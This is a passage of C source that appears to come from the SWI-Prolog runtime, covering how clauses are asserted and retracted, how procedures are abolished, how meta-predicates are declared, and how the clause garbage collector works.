GD->clauses.lingering_count = 0;
if ( cref )
{ ClauseRef next;
Definition *active_defs = predicates_in_use();
int freed = 0;
int kept = 0;
for( ; cref; cref = next)
{ Definition def;
next = cref->d.gnext;
def = cref->value.clause->predicate;
if ( !activePredicate(active_defs, def) )
{ freeClauseRef(cref);
freed++;
} else
{ lingerClauseRef(cref);
kept++;
}
}
if ( active_defs )
PL_free(active_defs);
DEBUG(MSG_CGC_CREF, Sdprintf("GC clause references: freed %d, kept %d\n",
freed, kept));
}
}
static int
activePredicate(const Definition *defs, const Definition def)
{ if ( defs )
{ for( ; *defs; defs++)
{ if ( *defs == def )
return TRUE;
}
}
return FALSE;
}
static void
setLastModifiedPredicate(Definition def, gen_t gen)
{ Module m = def->module;
def->last_modified = gen;
#ifdef HAVE___SYNC_ADD_AND_FETCH_8
{ gen_t lmm;
do
{ lmm = m->last_modified;
} while ( lmm < gen &&
!COMPARE_AND_SWAP(&m->last_modified, lmm, gen) );
}
#else
LOCKMODULE(m);
if ( m->last_modified < gen )
m->last_modified = gen;
UNLOCKMODULE(m);
#endif
}
/*******************************
* ASSERT *
*******************************/
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Assert a clause to a procedure. Where askes to assert either at the head
or at the tail of the clause list.
The `where` argument is one of
- CL_START (asserta)
- CL_END (assertz)
- The clause reference before which the clause must be inserted.
This is used by reconsult.
(*) This function updates the indexing information. If we have a static
procedure, it deletes the supervisor. This is probably a bit rough, but
deals with -for example- clauses for term_expansion/2. After the first
definition this will be called and an S_TRUSTME supervisor will be
installed, causing further clauses to have no effect.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
ClauseRef
assertDefinition(Definition def, Clause clause, ClauseRef where ARG_LD)
{ word key;
ClauseRef cref;
if ( def->events &&
!predicate_update_event(def,
where == CL_START ? ATOM_asserta : ATOM_assertz,
clause PASS_LD) )
return NULL;
argKey(clause->codes, 0, &key);
cref = newClauseRef(clause, key);
LOCKDEF(def);
acquire_def(def);
if ( !def->impl.clauses.last_clause )
{ def->impl.clauses.first_clause = def->impl.clauses.last_clause = cref;
} else if ( where == CL_START || where == def->impl.clauses.first_clause )
{ cref->next = def->impl.clauses.first_clause;
def->impl.clauses.first_clause = cref;
} else if ( where == CL_END )
{ ClauseRef last = def->impl.clauses.last_clause;
last->next = cref;
def->impl.clauses.last_clause = cref;
} else /* insert before */
{ ClauseRef cr;
for(cr = def->impl.clauses.first_clause; cr; cr = cr->next)
{ if ( cr->next == where )
{ cref->next = where;
cr->next = cref;
break;
}
}
assert(cr);
}
def->impl.clauses.number_of_clauses++;
if ( false(clause, UNIT_CLAUSE) )
def->impl.clauses.number_of_rules++;
if ( true(def, P_DIRTYREG) )
ATOMIC_INC(&GD->clauses.dirty);
#ifdef O_LOGICAL_UPDATE
clause->generation.created = next_global_generation();
clause->generation.erased = GEN_MAX; /* infinite */
setLastModifiedPredicate(def, clause->generation.created);
#endif
if ( false(def, P_DYNAMIC|P_LOCKED_SUPERVISOR) ) /* see (*) above */
freeCodesDefinition(def, TRUE);
addClauseToIndexes(def, clause, where);
release_def(def);
DEBUG(CHK_SECURE, checkDefinition(def));
UNLOCKDEF(def);
return cref;
}
ClauseRef
assertProcedure(Procedure proc, Clause clause, ClauseRef where ARG_LD)
{ Definition def = getProcDefinition(proc);
return assertDefinition(def, clause, where PASS_LD);
}
/* Abolish a procedure. Referenced clauses are unlinked and left
dangling in the dark until the procedure referencing it deletes it.
Since we have a foreign language interface we will allow to abolish
foreign predicates as well. Permission testing should be done by
the caller.
** Sun Apr 17 16:18:50 1988 jan@swivax.UUCP (Jan Wielemaker) */
bool
abolishProcedure(Procedure proc, Module module)
{ GET_LD
Definition def = proc->definition;
DEBUG(MSG_PROC, Sdprintf("abolishProcedure(%s)\n", predicateName(def)));
startCritical;
LOCKDEF(def);
if ( def->module != module ) /* imported predicate; remove link */
{ Definition ndef = allocHeapOrHalt(sizeof(*ndef));
memset(ndef, 0, sizeof(*ndef));
ndef->functor = def->functor; /* should be merged with */
ndef->impl.any.args = allocHeapOrHalt(sizeof(*ndef->impl.any.args)*
def->functor->arity);
ndef->module = module; /* lookupProcedure()!! */
ndef->codes = SUPERVISOR(virgin);
proc->definition = ndef;
ATOMIC_INC(&GD->statistics.predicates);
ATOMIC_ADD(&module->code_size, sizeof(*ndef));
resetProcedure(proc, TRUE);
} else if ( true(def, P_FOREIGN) ) /* foreign: make normal */
{ def->impl.clauses.first_clause = def->impl.clauses.last_clause = NULL;
resetProcedure(proc, TRUE);
} else if ( true(def, P_THREAD_LOCAL) )
{ UNLOCKDEF(def);
if ( !endCritical )
return FALSE;
return PL_error(NULL, 0, NULL, ERR_PERMISSION_PROC,
ATOM_modify, ATOM_thread_local_procedure, proc);
} else /* normal Prolog procedure */
{ removeClausesPredicate(def, 0, FALSE);
setDynamicDefinition_unlocked(def, FALSE);
resetProcedure(proc, FALSE);
}
DEBUG(CHK_SECURE, checkDefinition(def));
UNLOCKDEF(def);
return endCritical;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Remove (mark for deletion) all clauses that come from the given
source-file or any sourcefile. Note that thread-local predicates don't
have clauses from files, so we don't need to bother. Returns number of
clauses that has been deleted.
MT: Caller must hold L_PREDICATE
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
size_t
removeClausesPredicate(Definition def, int sfindex, int fromfile)
{ GET_LD
ClauseRef c;
size_t deleted = 0;
size_t memory = 0;
gen_t update = global_generation()+1;
if ( true(def, P_THREAD_LOCAL) )
return 0;
acquire_def(def);
for(c = def->impl.clauses.first_clause; c; c = c->next)
{ Clause cl = c->value.clause;
if ( (sfindex == 0 || sfindex == cl->owner_no) &&
(!fromfile || cl->line_no > 0) &&
false(cl, CL_ERASED) )
{ set(cl, CL_ERASED);
#ifdef O_LOGICAL_UPDATE
cl->generation.erased = update;
#endif
deleted++;
memory += sizeofClause(cl->code_size) + SIZEOF_CREF_CLAUSE;
def->impl.clauses.number_of_clauses--;
def->impl.clauses.erased_clauses++;
if ( false(cl, UNIT_CLAUSE) )
def->impl.clauses.number_of_rules--;
deleteActiveClauseFromIndexes(def, cl);
registerRetracted(cl);
}
}
release_def(def);
if ( global_generation() < update )
next_global_generation();
if ( deleted )
{ ATOMIC_SUB(&def->module->code_size, memory);
ATOMIC_ADD(&GD->clauses.erased_size, memory);
ATOMIC_ADD(&GD->clauses.erased, deleted);
if( true(def, P_DIRTYREG) )
ATOMIC_SUB(&GD->clauses.dirty, deleted);
registerDirtyDefinition(def PASS_LD);
DEBUG(CHK_SECURE, checkDefinition(def));
}
return deleted;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Retract a clause from a dynamic procedure. Called from erase/1,
retract/1 and retractall/1. Returns FALSE if the clause was already
retracted or retract is vetoed by the update event handling. This is
also used by trie_gen_compiled/3 to get rid of the clauses that
represent tries.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
int
retractClauseDefinition(Definition def, Clause clause)
{ GET_LD
size_t size = sizeofClause(clause->code_size) + SIZEOF_CREF_CLAUSE;
if ( def->events &&
!predicate_update_event(def, ATOM_retract, clause PASS_LD) )
return FALSE;
LOCKDEF(def);
if ( true(clause, CL_ERASED) )
{ UNLOCKDEF(def);
return FALSE;
}
DEBUG(CHK_SECURE, checkDefinition(def));
set(clause, CL_ERASED);
deleteActiveClauseFromIndexes(def, clause); /* just updates "dirtyness" */
def->impl.clauses.number_of_clauses--;
def->impl.clauses.erased_clauses++;
if ( false(clause, UNIT_CLAUSE) )
def->impl.clauses.number_of_rules--;
#ifdef O_LOGICAL_UPDATE
clause->generation.erased = next_global_generation();
setLastModifiedPredicate(def, clause->generation.erased);
#endif
DEBUG(CHK_SECURE, checkDefinition(def));
UNLOCKDEF(def);
/* update stats */
registerRetracted(clause);
if ( true(clause, DBREF_CLAUSE) )
ATOMIC_INC(&GD->clauses.db_erased_refs);
ATOMIC_SUB(&def->module->code_size, size);
ATOMIC_ADD(&GD->clauses.erased_size, size);
ATOMIC_INC(&GD->clauses.erased);
if( true(def, P_DIRTYREG) )
ATOMIC_DEC(&GD->clauses.dirty);
registerDirtyDefinition(def PASS_LD);
return TRUE;
}
void
unallocClause(Clause c)
{ ATOMIC_SUB(&GD->statistics.codes, c->code_size);
ATOMIC_DEC(&GD->statistics.clauses);
#ifdef ALLOC_DEBUG
#define ALLOC_FREE_MAGIC 0xFB
size_t size = sizeofClause(c->code_size);
memset(c, ALLOC_FREE_MAGIC, size);
#endif
PL_free(c);
}
#ifdef O_DEBUG_ATOMGC
void
unregister_atom_clause(atom_t a)
{ PL_unregister_atom(a);
}
void
register_atom_clause(atom_t a)
{ PL_register_atom(a);
}
#endif
void
freeClause(Clause c)
{
#ifdef O_ATOMGC
#ifdef O_DEBUG_ATOMGC
forAtomsInClause(c, unregister_atom_clause);
#else
forAtomsInClause(c, PL_unregister_atom);
#endif
#endif
if ( true(c, DBREF_CLAUSE) ) /* will be freed from symbol */
set(c, DBREF_ERASED_CLAUSE);
else
unallocClause(c);
}
static int WUNUSED /* FALSE if there was an error */
announceErasedClause(Clause clause)
{ return ( clearBreakPointsClause(clause) >= 0 &&
callEventHook(PLEV_ERASED_CLAUSE, clause) );
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
cleanDefinition()
This function has two tasks. If the predicate needs to be rehashed,
this is done and all erased clauses from the predicate are returned
as a linked list.
We cannot delete the clauses immediately as the debugger requires a
call-back and we have the L_PREDICATE mutex when running this code.
find_prev() finds the real previous clause. The not-locked loop of
cleanDefinition() keep track of this, but in the meanwhile the previous
may change due to an assert. Now that we are in the locked region we can
search for the real previous, using the one from cleanDefinition() as
the likely candidate.
The `ddi->oldest_generation` contains the latest marked generation that
was found or GEN_MAX if the predicate is not active. The `start`
generation contains the generation when pl_garbage_collect_clauses() was
started.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
static int mustCleanDefinition(const Definition def);
static ClauseRef
find_prev(Definition def, ClauseRef prev, ClauseRef cref)
{ if ( (!prev && def->impl.clauses.first_clause == cref) ||
( prev && prev->next == cref) )
return prev;
DEBUG(MSG_PROC, Sdprintf("Fixing prev\n"));
for(prev = def->impl.clauses.first_clause; prev; prev = prev->next)
{ if ( prev->next == cref )
return prev;
}
assert(0);
return NULL;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(*) This used to be acquire_def(def), but announceErasedClause may call
Prolog, leading to nested acquired definition. This is not needed anyway
as the acquired definition is only used by clause GC, we are inside
clause GC and clause GC calls cannot run in parallel.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
static size_t
cleanDefinition(Definition def, DirtyDefInfo ddi, gen_t start, int *rcp)
{ size_t removed = 0;
gen_t marked = ddi->oldest_generation;
gen_t active = start < marked ? start : marked;
DEBUG(CHK_SECURE,
LOCKDEF(def);
checkDefinition(def);
UNLOCKDEF(def));
if ( mustCleanDefinition(def) )
{ ClauseRef cref, prev = NULL;
#if O_DEBUG
int left = 0;
#endif
assert(GD->clauses.cgc_active); /* See (*) */
for(cref = def->impl.clauses.first_clause;
cref && def->impl.clauses.erased_clauses;
cref=cref->next)
{ Clause cl = cref->value.clause;
if ( true(cl, CL_ERASED) && cl->generation.erased < active )
{ if ( !announceErasedClause(cl) )
*rcp = FALSE;
LOCKDEF(def);
prev = find_prev(def, prev, cref);
if ( !prev )
{ def->impl.clauses.first_clause = cref->next;
if ( !cref->next )
def->impl.clauses.last_clause = NULL;
} else
{ prev->next = cref->next;
if ( cref->next == NULL)
def->impl.clauses.last_clause = prev;
}
removed++;
def->impl.clauses.erased_clauses--;
UNLOCKDEF(def);
lingerClauseRef(cref);
} else
{ prev = cref;
DEBUG(MSG_PROC, left++);
}
}
if ( removed )
{ LOCKDEF(def);
cleanClauseIndexes(def, &def->impl.clauses, active);
UNLOCKDEF(def);
}
free_lingering(&def->lingering, active);
DEBUG(CHK_SECURE,
LOCKDEF(def);
checkDefinition(def);
UNLOCKDEF(def));
DEBUG(MSG_PROC,
Sdprintf("cleanDefinition(%s): removed %d, left %d, erased %d\n",
predicateName(def), removed, left,
def->impl.clauses.erased_clauses));
}
return removed;
}
static int
mustCleanDefinition(const Definition def)
{ return ( def->impl.clauses.erased_clauses > 0 );
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Finalize a reloaded predicate. This (nearly) atomically makes the new
definition visible.
(*) Updating the generation to one in the future and incrementing at the
end makes the transaction truely atomic. In the current implementation
though, another thread may increment the generation as well, making our
changes not entirely atomic. The lock-free retry mechanism won't work to
fix this. Only a true lock for modifying the generation can fix this.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
void
reconsultFinalizePredicate(sf_reload *rl, Definition def, p_reload *r ARG_LD)
{ if ( true(r, P_MODIFIED) )
{ ClauseRef cref;
gen_t update = global_generation()+1; /* see (*) */
size_t deleted = 0;
size_t added = 0;
size_t memory = 0;
acquire_def(def);
for(cref = def->impl.clauses.first_clause; cref; cref=cref->next)
{ Clause cl = cref->value.clause;
if ( cl->generation.erased == rl->reload_gen && false(cl, CL_ERASED) )
{ set(cl, CL_ERASED);
cl->generation.erased = update;
deleted++;
memory += sizeofClause(cl->code_size) + SIZEOF_CREF_CLAUSE;
def->impl.clauses.number_of_clauses--;
def->impl.clauses.erased_clauses++;
if ( false(cl, UNIT_CLAUSE) )
def->impl.clauses.number_of_rules--;
if ( true(def, P_DYNAMIC) )
deleteActiveClauseFromIndexes(def, cl);
registerRetracted(cl);
} else if ( cl->generation.created == rl->reload_gen )
{ cl->generation.created = update;
added++;
}
}
release_def(def);
if ( global_generation() < update ) /* see (*) */
next_global_generation();
DEBUG(MSG_RECONSULT_CLAUSE,
Sdprintf("%s: added %ld, deleted %ld clauses "
"at gen=%ld, GD->gen = %lld\n",
predicateName(def), (long)added, (long)deleted,
(long)update, (int64_t)global_generation()));
if ( added || deleted )
setLastModifiedPredicate(def, update);
if ( deleted )
{ ATOMIC_SUB(&def->module->code_size, memory);
ATOMIC_ADD(&GD->clauses.erased_size, memory);
ATOMIC_ADD(&GD->clauses.erased, deleted);
if( true(def, P_DIRTYREG) )
ATOMIC_SUB(&GD->clauses.dirty, deleted);
registerDirtyDefinition(def PASS_LD);
}
DEBUG(CHK_SECURE, checkDefinition(def));
}
}
/*******************************
* META PREDICATE *
*******************************/
/** meta_predicate :HeadList is det.
Declaration for meta-predicates. The declaration fills the meta_info
field of a definition as well as the P_META and P_TRANSPARENT flags.
P_META indicates that meta_info is valid. P_TRANSPARENT indicates that
the declaration contains at least one meta-argument (: or 0..9).
@param HeadList Comma separated list of predicates heads, where each
predicate head has arguments 0..9, :,+,-,?
*/
int
isTransparentMetamask(Definition def, arg_info *args)
{ size_t i, arity = def->functor->arity;
int transparent = FALSE;
for(i=0; i<arity && !transparent; i++)
{ int ma = args[i].meta;
if ( MA_NEEDS_TRANSPARENT(ma) )
transparent = TRUE;
}
return transparent;
}
void
setMetapredicateMask(Definition def, arg_info *args)
{ size_t i, arity = def->functor->arity;
for(i=0; i<arity; i++)
def->impl.any.args[i].meta = args[i].meta;
if ( isTransparentMetamask(def, args) )
set(def, P_TRANSPARENT);
else
clear(def, P_TRANSPARENT);
set(def, P_META);
}
static int
meta_declaration(term_t spec)
{ GET_LD
term_t head = PL_new_term_ref();
term_t arg = PL_new_term_ref();
Procedure proc;
atom_t name;
size_t i, arity;
if ( !get_procedure(spec, &proc, head, GP_DEFINE) ||
!PL_get_name_arity(head, &name, &arity) )
return FALSE;
#ifdef _MSC_VER
arg_info *args = alloca(arity*sizeof(*args));
#else
arg_info args[arity]; /* GCC dynamic allocation */
#endif
for(i=0; i<arity; i++)
{ atom_t ma;
_PL_get_arg(i+1, head, arg);
if ( PL_is_integer(arg) )
{ int e;
if ( !PL_get_integer_ex(arg, &e) )
return FALSE;
if ( e < 0 || e > 9 )
{ domain_error:
return PL_error(NULL, 0, "0..9",
ERR_DOMAIN, ATOM_meta_argument_specifier, arg);
}
args[i].meta = e;
} else if ( PL_get_atom(arg, &ma) )
{ int m;
if ( ma == ATOM_plus ) m = MA_NONVAR;
else if ( ma == ATOM_minus ) m = MA_VAR;
else if ( ma == ATOM_question_mark ) m = MA_ANY;
else if ( ma == ATOM_star ) m = MA_ANY; /* * mapped to ? */
else if ( ma == ATOM_colon ) m = MA_META;
else if ( ma == ATOM_hat ) m = MA_HAT;
else if ( ma == ATOM_gdiv ) m = MA_DCG;
else goto domain_error;
args[i].meta = m;
} else
{ return PL_error(NULL, 0, "0..9",
ERR_TYPE, ATOM_meta_argument_specifier, arg);;
}
}
if ( ReadingSource )
{ SourceFile sf = lookupSourceFile(source_file_name, TRUE);
return setMetapredicateSource(sf, proc, args PASS_LD);
} else
{ setMetapredicateMask(proc->definition, args);
return TRUE;
}
}
static
PRED_IMPL("meta_predicate", 1, meta_predicate, PL_FA_TRANSPARENT)
{ PRED_LD
term_t tail = PL_copy_term_ref(A1);
term_t head = PL_new_term_ref();
while ( PL_is_functor(tail, FUNCTOR_comma2) )
{ _PL_get_arg(1, tail, head);
if ( !meta_declaration(head) )
return FALSE;
_PL_get_arg(2, tail, tail);
}
if ( !meta_declaration(tail) )
return FALSE;
return TRUE;
}
static int
unify_meta_argument(term_t head, Definition def, int i ARG_LD)
{ term_t arg = PL_new_term_ref();
int m = def->impl.any.args[i].meta;
_PL_get_arg(i+1, head, arg);
if ( m < 10 )
{ return PL_unify_integer(arg, m);
} else
{ atom_t a;
switch(m)
{ case MA_META: a = ATOM_colon; break;
case MA_VAR: a = ATOM_minus; break;
case MA_ANY: a = ATOM_question_mark; break;
case MA_NONVAR: a = ATOM_plus; break;
case MA_HAT: a = ATOM_hat; break;
case MA_DCG: a = ATOM_gdiv; break;
default: a = NULL_ATOM; assert(0);
}
return PL_unify_atom(arg, a);
}
}
static int
unify_meta_pattern(Procedure proc, term_t head)
{ GET_LD
Definition def = proc->definition;
if ( PL_unify_functor(head, def->functor->functor) )
{ int arity = def->functor->arity;
int i;
for(i=0; i<arity; i++)
{ if ( !unify_meta_argument(head, def, i PASS_LD) )
return FALSE;
}
return TRUE;
}
return FALSE;
}
int
PL_meta_predicate(predicate_t proc, const char *spec_s)
{ Definition def = proc->definition;
int arity = def->functor->arity;
int i;
int mask = 0;
int transparent = FALSE;
const unsigned char *s = (const unsigned char*)spec_s;
for(i=0; i<arity; i++, s++)
{ int spec_c = *s;
int spec;
switch(spec_c)
{ case '+':
spec = MA_NONVAR;
break;
case '-':
spec = MA_VAR;
break;
case '?':
spec = MA_ANY;
break;
case ':':
spec = MA_META;
break;
case '^':
spec = MA_HAT;
break;
case '/':
if ( s[1] == '/' )
{ spec = MA_DCG;
s++;
break;
} else
{ goto invalid;
}
default:
if ( spec_c >= '0' && spec_c <= '9' )
{ spec = spec_c - '0';
break;
}
invalid:
fatalError("Invalid meta-argument for %s: %s\n", procedureName(proc), spec_s);
return FALSE;
}
def->impl.any.args[i].meta = spec;
mask |= spec<<(i*4);
if ( MA_NEEDS_TRANSPARENT(spec) )
transparent = TRUE;
}
if ( transparent )
set(def, P_TRANSPARENT);
else
clear(def, P_TRANSPARENT);
set(def, P_META);
return TRUE;
}
void
clear_meta_declaration(Definition def)
{ int i;
for(i=0; i<def->functor->arity; i++)
def->impl.any.args[i].meta = MA_ANY;
clear(def, P_META|P_TRANSPARENT);
}
#ifdef O_CLAUSEGC
/*******************************
* CLAUSE-GC *
*******************************/
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Retracted clauses are reclaimed using the clause garbage collector
(CGC). Retract itself merely sets the erased generation of the clause
and marks related clause indexes as `dirty'. CGC needs to run both to
reclaim the memory and to remove ClauseRef objects that point to dead
clauses and thus slow down the search for clauses. This logic is in
considerClauseGC().
CGC builds on the following components and invariants:
- Dynamic predicates and static predicates with removed clauses are
in the table GD->procedures.dirty.
- CGC does:
- Set the dirty generation of all dirty predicates to GEN_MAX
- markPredicatesInEnvironments() finds all referenced predicates
from frames and pushed explicitly by pushPredicateAccess()
- Remove all ClauseRefs pointing at clauses removed before the
oldest active generation from the clause list. Keep them using
lingerClauseRef() as someone may be traversing the clause list.
- Call gcClauseRefs(), which
- Finds all predicates whose clause-list is being traversed as
monitored using acquire_def()/release_ref().
- Call freeClauseRef() for each clause-ref associated with a
not-being-traversed predicate. Re-add the others to the
lingering clause reference list.
- If freeClauseRef() lowers the clause reference count to zero,
destroy the clause.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
static int
considerClauseGC(ARG1_LD)
{ size_t pending = GD->clauses.erased_size - GD->clauses.erased_size_last;
size_t codesize = GD->statistics.codes*sizeof(code);
cgc_stats stats = {0};
if ( GD->clauses.cgc_space_factor > 0 &&
pending > codesize/GD->clauses.cgc_space_factor &&
GD->cleaning == CLN_NORMAL )
{ DEBUG(MSG_CGC_CONSIDER,
Sdprintf("CGC? too much garbage: %lld bytes in %lld clauses\n",
(int64_t)GD->clauses.erased_size,
(int64_t)GD->clauses.erased));
return TRUE;
}
if ( LD->statistics.inferences > LD->clauses.cgc_inferences )
{ int rgc;
LD->clauses.cgc_inferences = LD->statistics.inferences + 500;
stats.dirty_pred_clauses = GD->clauses.dirty;
if ( stats.dirty_pred_clauses == (size_t)-1 )
return FALSE; /* already clicked in */
if ( !cgc_thread_stats(&stats PASS_LD) )
return FALSE;
rgc = ( (double)stats.erased_skipped >
(double)stats.local_size*GD->clauses.cgc_stack_factor +
(double)stats.dirty_pred_clauses*GD->clauses.cgc_clause_factor );
rgc = rgc && (GD->cleaning == CLN_NORMAL);
DEBUG(MSG_CGC_CONSIDER,
Sdprintf("GCG? [%s] %ld skipped; lsize=%ld; clauses=%ld\n",
rgc ? "Y" : " ",
(long)stats.erased_skipped,
(long)stats.local_size,
(long)stats.dirty_pred_clauses));
return rgc;
}
return FALSE;
}
/** '$cgc_params'(-OldSpace, -OldStack, -OldClause,
* +NewSpace, +NewStack, +NewClause)
*
* Query and set the clause GC parameters.
*/
static
PRED_IMPL("$cgc_params", 6, cgc_params, 0)
{ PRED_LD
return ( PL_unify_integer(A1, GD->clauses.cgc_space_factor) &&
PL_unify_float(A2, GD->clauses.cgc_stack_factor) &&
PL_unify_float(A3, GD->clauses.cgc_clause_factor) &&
PL_get_integer_ex(A4, &GD->clauses.cgc_space_factor) &&
PL_get_float_ex(A5, &GD->clauses.cgc_stack_factor) &&
PL_get_float_ex(A6, &GD->clauses.cgc_clause_factor) );
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(*) We set the initial oldest_generation to "very old" (0). This ensures
that if a predicate is registered dirty before clause-gc starts, the
oldest generation is 0 and thus no clause reference will be collected.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
static void
registerDirtyDefinition(Definition def ARG_LD)
{ if ( false(def, P_DIRTYREG) )
{ DirtyDefInfo ddi = PL_malloc(sizeof(*ddi));
ddi->oldest_generation = GEN_NEW_DIRTY; /* see (*) */
if ( addHTable(GD->procedures.dirty, def, ddi) == ddi )
{ set(def, P_DIRTYREG);
ATOMIC_ADD(&GD->clauses.dirty, def->impl.clauses.number_of_clauses);
}
else
PL_free(ddi); /* someone else did this */
}
if ( !isSignalledGCThread(SIG_CLAUSE_GC PASS_LD) && /* already asked for */
!GD->clauses.cgc_active && /* currently running */
considerClauseGC(PASS_LD1) )
{ if ( GD->clauses.db_erased_refs > GD->clauses.erased / 10 )
{ DEBUG(MSG_CGC_CONSIDER,
Sdprintf("CGC: %ld of %ld erased clauses has a clause ref; "
"asking for AGC\n",
(long)GD->clauses.db_erased_refs,
(long)GD->clauses.erased));
signalGCThread(SIG_ATOM_GC);
}
signalGCThread(SIG_CLAUSE_GC);
}
}
static void
unregisterDirtyDefinition(Definition def)
{ DirtyDefInfo ddi;
if ( (ddi=deleteHTable(GD->procedures.dirty, def)) )
{ PL_free(ddi);
clear(def, P_DIRTYREG);
ATOMIC_SUB(&GD->clauses.dirty, def->impl.clauses.number_of_clauses);
}
}
static void
maybeUnregisterDirtyDefinition(Definition def)
{ if ( true(def, P_DIRTYREG) &&
def->impl.clauses.erased_clauses == 0 )
{ unregisterDirtyDefinition(def);
}
if ( true(def, P_ERASED) )
{ DEBUG(MSG_PROC_COUNT, Sdprintf("Delayed unalloc %s\n", predicateName(def)));
assert(def->module == NULL);
if ( def->impl.clauses.first_clause == NULL )
{ unregisterDirtyDefinition(def);
freeHeap(def, sizeof(*def));
}
}
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(*) We set the initial generation to GEN_MAX to know which predicates
have been marked. We can only reclaim clauses that were erased before
the start generation of the clause garbage collector.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
foreign_t
pl_garbage_collect_clauses(void)
{ GET_LD
int rc = TRUE;
if ( GD->procedures.dirty->size > 0 &&
COMPARE_AND_SWAP(&GD->clauses.cgc_active, FALSE, TRUE) )
{ size_t removed = 0;
size_t erased_pending = GD->clauses.erased_size;
double gct, t0 = ThreadCPUTime(LD, CPU_USER);
gen_t start_gen = global_generation();
int verbose = truePrologFlag(PLFLAG_TRACE_GC) && !LD->in_print_message;
if ( verbose )
{ if ( (rc=printMessage(ATOM_informational,
PL_FUNCTOR_CHARS, "cgc", 1,
PL_CHARS, "start")) == FALSE )
goto out;
}
DEBUG(MSG_CGC, Sdprintf("CGC @ %lld ... ", start_gen));
DEBUG(MSG_CGC_STACK,
{ Sdprintf("CGC @ %lld ... ", start_gen);
PL_backtrace(5,0);
});
/* sanity-check */
for_table(GD->procedures.dirty, n, v,
{ DirtyDefInfo ddi = v;
DEBUG(CHK_SECURE,
{ Definition def = n;
LOCKDEF(def);
checkDefinition(def);
UNLOCKDEF(def);
});
ddi->oldest_generation = GEN_MAX; /* see (*) */
});
markPredicatesInEnvironments(LD);
#ifdef O_PLMT
forThreadLocalDataUnsuspended(markPredicatesInEnvironments, 0);
#endif
DEBUG(MSG_CGC, Sdprintf("(marking done)\n"));
for_table(GD->procedures.dirty, n, v,
{ Definition def = n;
DirtyDefInfo ddi = v;
if ( false(def, P_FOREIGN) &&
def->impl.clauses.erased_clauses > 0 )
{ size_t del = cleanDefinition(def, ddi, start_gen, &rc);
removed += del;
DEBUG(MSG_CGC_PRED,
Sdprintf("cleanDefinition(%s, %s): "
"%ld clauses (left %ld)\n",
predicateName(def),
generationName(ddi->oldest_generation),
(long)del,
(long)def->impl.clauses.erased_clauses));
}
maybeUnregisterDirtyDefinition(def);
});
gcClauseRefs();
GD->clauses.cgc_count++;
GD->clauses.cgc_reclaimed += removed;
GD->clauses.cgc_time += (gct=ThreadCPUTime(LD, CPU_USER) - t0);
GD->clauses.erased_size_last = GD->clauses.erased_size;
DEBUG(MSG_CGC, Sdprintf("CGC: removed %ld clauses "
"(%ld bytes reclaimed, %ld pending) in %2f sec.\n",
(long)removed,
(long)erased_pending - GD->clauses.erased_size,
(long)GD->clauses.erased_size,
gct));
if ( verbose )
rc = printMessage(
ATOM_informational,
PL_FUNCTOR_CHARS, "cgc", 1,
PL_FUNCTOR_CHARS, "done", 4,
PL_INT64, (int64_t)removed,
PL_INT64, (int64_t)(erased_pending - GD->clauses.erased_size),
PL_INT64, (int64_t)GD->clauses.erased_size,
PL_DOUBLE, gct);
out:
GD->clauses.cgc_active = FALSE;
}
return rc;
}
#endif /*O_CLAUSEGC*/
#ifdef O_DEBUG
/*******************************
* CHECKING *
*******************************/
word
pl_check_definition(term_t spec)
{ GET_LD
Procedure proc;
Definition def;
int nclauses = 0;
int nerased = 0;
int nindexable = 0;
ClauseRef cref;
if ( !get_procedure(spec, &proc, 0, GP_FIND) )
return Sdprintf("$check_definition/1: can't find definition");
def = getProcDefinition(proc);
if ( true(def, P_FOREIGN) )
succeed;
acquire_def(def);
for(cref = def->impl.clauses.first_clause; cref; cref = cref->next)
{ Clause clause = cref->value.clause;
if ( cref->d.key == 0 )
nindexable++;
if ( false(clause, CL_ERASED) )
nclauses++;
else
nerased++;
}
release_def(def);
if ( nerased != def->impl.clauses.erased_clauses )
Sdprintf("%s has %d erased clauses, claims %d\n",
predicateName(def), nerased, def->impl.clauses.erased_clauses);
checkClauseIndexSizes(def, nindexable);
if ( def->impl.clauses.number_of_clauses != nclauses )
Sdprintf("%s has inconsistent number_of_clauses (%d, should be %d)",
predicateName(def), def->impl.clauses.number_of_clauses, nclauses);
succeed;
}
#endif /*O_DEBUG*/
/********************************
* UNDEFINED PROCEDURES *
*********************************/
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
A dynamic call to `f' in `m' has to be made (via call/1 or from C). This
procedure returns the procedure to be run. If no such procedure exists
an undefined procedure is created and returned. In this case interpret()
will later call trapUndefined() to generate an error message (or link
the procedure from the library via autoload).
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
Procedure
resolveProcedure__LD(functor_t f, Module module ARG_LD)
{ Procedure proc;
if ( (proc = visibleProcedure(f, module PASS_LD)) )
return proc;
return lookupProcedure(f, module);
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
autoImport() tries to autoimport f into module `m' and returns the
definition if this is possible.
PROBLEM: I'm not entirely sure it is save to deallocated the old
definition structure in all cases. It is not member of any heap
structure, thus sofar everything is alright. After a dynamic link
interpret() picks up the new definition pointer, thus this should be ok
as well. Any other C-code that does nasty things (non-deterministic
code perhaps, calls indirect via C? (I do recall once conciously have
